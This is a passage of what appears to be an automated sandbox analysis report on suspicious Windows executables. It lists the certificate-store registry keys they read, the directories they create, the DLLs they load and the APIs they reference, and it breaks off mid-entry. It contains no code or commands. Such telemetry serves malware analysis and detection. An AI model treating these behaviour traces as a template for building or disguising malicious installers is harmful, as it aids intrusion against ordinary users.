"HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")31:T540,"CasPol.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "PINRULESLASTSYNCTIME") "CasPol.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "PINRULESENCODEDCTL") "CasPol.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "CasPol.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "CasPol.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "CasPol.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "CasPol.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "CasPol.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "CasPol.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")32:T7c7,"pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "CreateDirectoryW" with parameter %TEMP%\ (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "CreateDirectoryW" with parameter C:\Users (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "CreateDirectoryW" with parameter %TEMP%\nstCE5.tmp (UID: 00000000-00001216) "tADoao6OOjGypodPFPdb9O4N.exe" called "CreateDirectoryA" with parameter %TEMP%\ (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "CreateDirectoryA" with parameter C:\Users (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "CreateDirectoryA" with parameter C:\Users\%OSUSER% (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "CreateDirectoryA" with parameter %USERPROFILE%\AppData (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "CreateDirectoryA" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "CreateDirectoryA" with parameter %TEMP%\nsz10AC.tmp (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "CreateDirectoryA" with parameter %PROGRAMFILES%\(x86) (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "CreateDirectoryA" with parameter %PROGRAMFILES%\(x86)\ClocX (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "CreateDirectoryA" with parameter %PROGRAMFILES%\(x86)\ClocX\Lang (UID: 00000000-00003068)33:T361c,"bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter api-ms-win-crt-heap-l1-1-0.dll (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter api-ms-win-crt-locale-l1-1-0.dll (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter api-ms-win-crt-math-l1-1-0.dll (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter api-ms-win-crt-runtime-l1-1-0.dll (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter api-ms-win-crt-stdio-l1-1-0.dll (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter api-ms-win-crt-string-l1-1-0.dll (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008140) "CasPol.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00000736) "CasPol.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00000736) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\UXTHEME.dll (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\USERENV.dll (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SETUPAPI.dll (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\APPHELP.dll (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\PROPSYS.dll (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DWMAPI.dll (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPTBASE.dll (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\OLEACC.dll (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CLBCATQ.dll (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NTMARTA.dll (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\VERSION.dll (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SHFOLDER.dll (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter %TEMP%\nstCE5.tmp\INetC.dll (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter WININET (UID: 00000000-00001216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00001216) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\UXTHEME.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\USERENV.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SETUPAPI.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\APPHELP.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\PROPSYS.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DWMAPI.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPTBASE.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\OLEACC.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CLBCATQ.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NTMARTA.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\VERSION.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SHFOLDER.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter %TEMP%\nsz10AC.tmp\Checker.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter %TEMP%\nsz10AC.tmp\Zip.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter PSAPI.DLL (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003068) "tADoao6OOjGypodPFPdb9O4N.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003068) "BroomSetup.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter Msctf.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter colorui.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter comdlg32.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter compstui.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter inetres.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter DWMAPI.DLL (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter UXTHEME (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter User32 (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00006224) "BroomSetup.exe" called "LoadLibrary" with a parameter Shcore.dll (UID: 00000000-00006224) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter msvcr100.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter wininet.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001032) "nsn192A.tmp.exe" called "LoadLibrary" with a parameter rstrtmgr.dll (UID: 00000000-00001032)34:Tfa6d,Found reference to API (Indicator: "EventWrite"; File: "bb7917ed8063b9fd1cf3ea57fed87a5a") Found reference to API (Indicator: "BCryptDecrypt"; File: "bb7917ed8063b9fd1cf3ea57fed87a5a") Found reference to API (Indicator: "ExitProcess"; File: "bb7917ed8063b9fd1cf3ea57fed87a5a") Found reference to API (Indicator: "GetProcAddress"; File: "bb7917ed8063b9fd1cf3ea57fed87a5a") Found reference to API (Indicator: "LoadLibraryA"; File: "bb7917ed8063b9fd1cf3ea57fed87a5a") Found reference to API (Indicator: "VirtualProtect"; File: "bb7917ed8063b9fd1cf3ea57fed87a5a") Found reference to API (Indicator: "CoCreateGuid"; File: "bb7917ed8063b9fd1cf3ea57fed87a5a") Found reference to API (Indicator: "RegEnumValueA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "RegEnumKeyA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "RegQueryValueExA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "RegSetValueExA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "RegCloseKey"; File: "uninst.exe.167212768") Found reference to API (Indicator: "RegDeleteValueA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "RegDeleteKeyA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "uninst.exe.167212768") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "OpenProcessToken"; File: "uninst.exe.167212768") Found reference to API (Indicator: "RegOpenKeyExA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "RegCreateKeyExA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SHFileOperationA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SHGetFileInfoA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SHBrowseForFolderA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SHGetPathFromIDListA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "ShellExecuteExA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CoTaskMemFree"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CoCreateInstance"; File: "uninst.exe.167212768") Found reference to API (Indicator: "OleUninitialize"; File: "uninst.exe.167212768") Found reference to API (Indicator: "OleInitialize"; File: "uninst.exe.167212768") Found reference to API (Indicator: "IIDFromString"; File: "uninst.exe.167212768") Found reference to API (Indicator: "DrawTextA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "FillRect"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetClientRect"; File: "uninst.exe.167212768") Found reference to API (Indicator: "BeginPaint"; File: "uninst.exe.167212768") Found reference to API (Indicator: "DefWindowProcA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SendMessageA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "InvalidateRect"; File: "uninst.exe.167212768") Found reference to API (Indicator: "EnableWindow"; File: "uninst.exe.167212768") Found reference to API (Indicator: "ReleaseDC"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetDC"; File: "uninst.exe.167212768") Found reference to API (Indicator: "LoadImageA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetWindowLongA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "IsWindow"; File: "uninst.exe.167212768") Found reference to API (Indicator: "FindWindowExA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SendMessageTimeoutA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "wsprintfA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "ShowWindow"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetForegroundWindow"; File: "uninst.exe.167212768") Found reference to API (Indicator: "PostQuitMessage"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetWindowTextA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetTimer"; File: "uninst.exe.167212768") Found reference to API (Indicator: "DestroyWindow"; File: "uninst.exe.167212768") Found reference to API (Indicator: "ExitWindowsEx"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CharNextA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetClassInfoA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CreateWindowExA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SystemParametersInfoA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "RegisterClassA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "ScreenToClient"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetWindowRect"; File: "uninst.exe.167212768") Found reference to API (Indicator: "EnableMenuItem"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetSystemMenu"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetClassLongA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "IsWindowEnabled"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetWindowLongA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetWindowPos"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetSysColor"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetCursor"; File: "uninst.exe.167212768") Found reference to API (Indicator: "LoadCursorA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CallWindowProcA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "IsWindowVisible"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CloseClipboard"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetClipboardData"; File: "uninst.exe.167212768") Found reference to API (Indicator: "EmptyClipboard"; File: "uninst.exe.167212768") Found reference to API (Indicator: "OpenClipboard"; File: "uninst.exe.167212768") Found reference to API (Indicator: "TrackPopupMenu"; File: "uninst.exe.167212768") Found reference to API (Indicator: "AppendMenuA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CreatePopupMenu"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetSystemMetrics"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CharPrevA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "DispatchMessageA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "PeekMessageA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SelectObject"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CreateFontIndirectA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "DeleteObject"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetDeviceCaps"; File: "uninst.exe.167212768") Found reference to API (Indicator: "MulDiv"; File: "uninst.exe.167212768") Found reference to API (Indicator: "DeleteFileA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "FindFirstFileA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "FindNextFileA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "FindClose"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetFilePointer"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "MultiByteToWideChar"; File: "uninst.exe.167212768") Found reference to API (Indicator: "FreeLibrary"; File: "uninst.exe.167212768") Found reference to API (Indicator: "LoadLibraryExA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetModuleHandleA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GlobalAlloc"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GlobalFree"; File: "uninst.exe.167212768") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "lstrcmpA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "lstrcmpiA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CloseHandle"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetFileTime"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CompareFileTime"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SearchPathA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetShortPathNameA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetFullPathNameA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "MoveFileA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetFileAttributesA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetFileAttributesA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "Sleep"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetTickCount"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetFileSize"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetModuleFileNameA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetCurrentProcess"; File: 